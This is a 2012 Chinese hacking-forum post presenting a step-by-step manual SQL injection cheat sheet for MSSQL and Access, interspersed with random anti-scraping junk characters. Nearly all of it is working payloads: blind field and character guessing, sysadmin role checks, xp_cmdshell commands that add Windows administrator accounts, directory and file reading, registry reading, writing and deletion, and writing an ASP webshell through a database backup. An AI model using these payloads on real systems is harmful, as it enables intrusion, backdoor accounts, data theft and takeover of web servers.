中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
8 f0 \: h1 Y& i; V7 w% ^1 }+ Q; K
1.判断是否有注入;and 1=1 ;and 1=2
; O( I9 l; U6 A2 W4 p4 _0 |8 t
8 D( {4 h% z3 Q* g* k, B
2.初步判断是否是mssql ;and user>0
/ R* s5 d; R9 O. {) N0 D$ I. ]$ A" F
, u2 y3 U) {% L& a* ^2 i
3.注入参数是字符'and [查询条件] and ''='
* M5 k9 x/ O% W0 c# v1 z) O1 |( H
- M$ }, R7 V6 z
4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 _* `8 Q6 s# d: V$ m2 g
5 d% m0 k1 U( N7 ^' s
5.判断数据库系统
6 M5 x) K+ r" ~6 y' f
;and (select count(*) from sysobjects)>0 mssql
1 ?" c% U9 v4 z
;and (select count(*) from msysobjects)>0 access
1 k! l y/ n, W' Z1 }2 `. D1 _# ?
, A" x* N0 ]$ D% K+ l: m6 Q4 U
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 Q! P+ f" t% M1 m; p) K; g
7 f; V! ^, n. @5 O+ A
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
' j/ E% o7 |/ [( i
- T* q# @: s T/ p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9 s! ?- J+ Q' A f
3 B) V. ~" n6 [' ?( d f" B
9.(1)猜字段的ascii值(access)
' v' `$ n. j8 S+ t3 I
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
* O3 p% ]4 x* ^
5 n. P' ]$ H* n9 d, |
(2)猜字段的ascii值(mssql)
3 h3 R2 O" e4 c4 t% O8 Y6 E
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
# Q: z4 b* W5 C& e5 j/ Q' g+ e
( r" B' W* D. g
10.测试权限结构(mssql)
2 S, G3 D: g0 M4 {
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
: s2 [- u( f1 m1 h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
( g& n [' q; h2 }! |, ]
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 B' S7 B8 [& s; \
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
% {9 s$ m' N1 T2 U, U5 D
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) \2 O5 j# w7 Z4 b2 A7 c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
; P- u R( a; A
;and 1=(select IS_MEMBER('db_owner'));--
8 _) h$ ^. l+ v2 o( ]
' N* v+ c9 I0 T
11.添加mssql和系统的帐户
5 U' P# R0 o" M& e) C7 P$ m+ I
;exec master.dbo.sp_addlogin username;--
) E& ] N' Z6 Z! S2 y8 R
+ x# K; o7 h& q4 L8 t1 V
;exec master.dbo.sp_password null,username,password;--
+ L( v8 t0 t8 S4 d0 z
( M9 `4 [' y& u
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
; O7 W( k1 r" P* z0 L4 |
' e& o% a% X% O9 W
;exec master.dbo.xp_cmdshell 'net user username password
7 i" v$ ~# K9 f3 K
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, `& {' [2 ^5 _$ o$ s$ d
* G1 p; m+ F/ M- _' a7 @. i) R
;exec master.dbo.xp_cmdshell 'net user username password /add';--
3 N( F! r3 a( f" M `2 L+ V
/ D; \& m+ D6 d" I. n9 |0 B
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
7 f# A* w! e# C3 ]
4 j( D& \ M6 S" m
12.(1)遍历目录
0 P7 [9 R5 G4 b' Q, I
6 ~3 K/ m, M5 J4 f0 K
;create table dirs(paths varchar(100), id int)
1 c3 @5 q# Y, F4 l( u/ n/ V
;insert dirs exec master.dbo.xp_dirtree 'c:\'
i9 U. O$ I3 e+ R4 u
;and (select top 1 paths from dirs)>0
& j( [+ J, n' k* X8 m. e
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
4 d1 Y' z0 W% r. y" t! n
; z' P4 f, P' S! z
(2)遍历目录
6 t) m) T: m! o4 F2 v6 ?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 G0 J2 ~* D& d4 }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& Q5 @, a& [% J8 @, G
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 M4 C! A& d2 V, L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ J0 Q. K& K" D- q0 _8 c9 O
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
. w& m+ U1 Z; }4 J" `( a/ k
) x/ C8 Y9 M0 E& f" V" Z
13.mssql中的存储过程
6 L8 @8 @3 ]( q6 V1 ?8 F7 g2 F* h
" l9 t9 q/ l7 _. {
xp_regenumvalues 注册表根键, 子键
. f& o h" z7 d8 G0 J
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 U$ f% i( j) |( h& V" t
3 n1 O: ~7 W7 E* y
xp_regread 根键,子键,键值名
. O+ `0 E6 _( ?' [8 N- D8 j" \9 _$ q
;exec xp_regread
& F1 V* x8 v: j' z- j
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( S. y9 z, G7 ?' m' w( m/ w& N
& h, x1 S P% \2 g/ W( x
xp_regwrite 根键,子键, 值名, 值类型, 值
+ F. [ ]/ {8 k
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 X/ B$ Y% G: W( f
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 s J1 N- f' P9 E
5 s( @' s3 B# X+ Z: A* v
xp_regdeletevalue 根键,子键,值名
, J% \/ D% a' Y" V
4 q2 E9 E- ~4 A2 H! Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
) ?3 e K4 } u1 P& U; ]8 a- C
1 I& ^& v! D" A1 d/ n. N: _9 ^) K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
u; ~* B3 a- C
4 Q! }8 z- }# I5 _6 D( X
14.mssql的backup创建webshell
( t% e% E* j' w: y! U+ n* O' u" u
use model
* S" c0 d1 j7 i: X1 t
create table cmd(str image);
" y% T: j4 m/ M
insert into cmd(str) values ('');
) E6 x1 _$ u* h4 I$ c# @
backup database model to disk='c:\l.asp';
8 z" Z5 p5 y; t$ s7 V, J
# O1 V+ _ o, u e
15.mssql内置函数
r v! U6 }: ?; @, S I$ d
;and (select @@version)>0 获得Windows的版本号
# \' n3 W; l& }& f( x/ \: ]* Z
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' _4 N# C2 U' y9 ~
;and (select user_name())>0 爆当前系统的连接用户
' E9 G+ H8 @8 s/ y6 k
;and (select db_name())>0 得到当前连接的数据库
r5 k0 b- l- |$ E* D% X
! R2 G+ l9 s$ h4 P% n
16.简洁的webshell
+ |' }& f6 ?' f* s
3 H2 A3 [* W" w& M' e
use model
9 {; c- s/ I. A' y
: l2 x: W7 k- L/ M& ?: `' L
create table cmd(str image);
% v9 S' X, e6 Q& w+ i
$ O; ^, \) n* }5 w
insert into cmd(str) values ('');
9 |: i5 `- p3 U5 u
. [. \; O ]* X- ~' \' _6 z7 Y
backup database model to disk='g:\wwwtest\l.asp';
" C7 ^, W6 p- r, f
0 d) a6 H% `) B7 f! ]' Q+ R, z; g; B
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2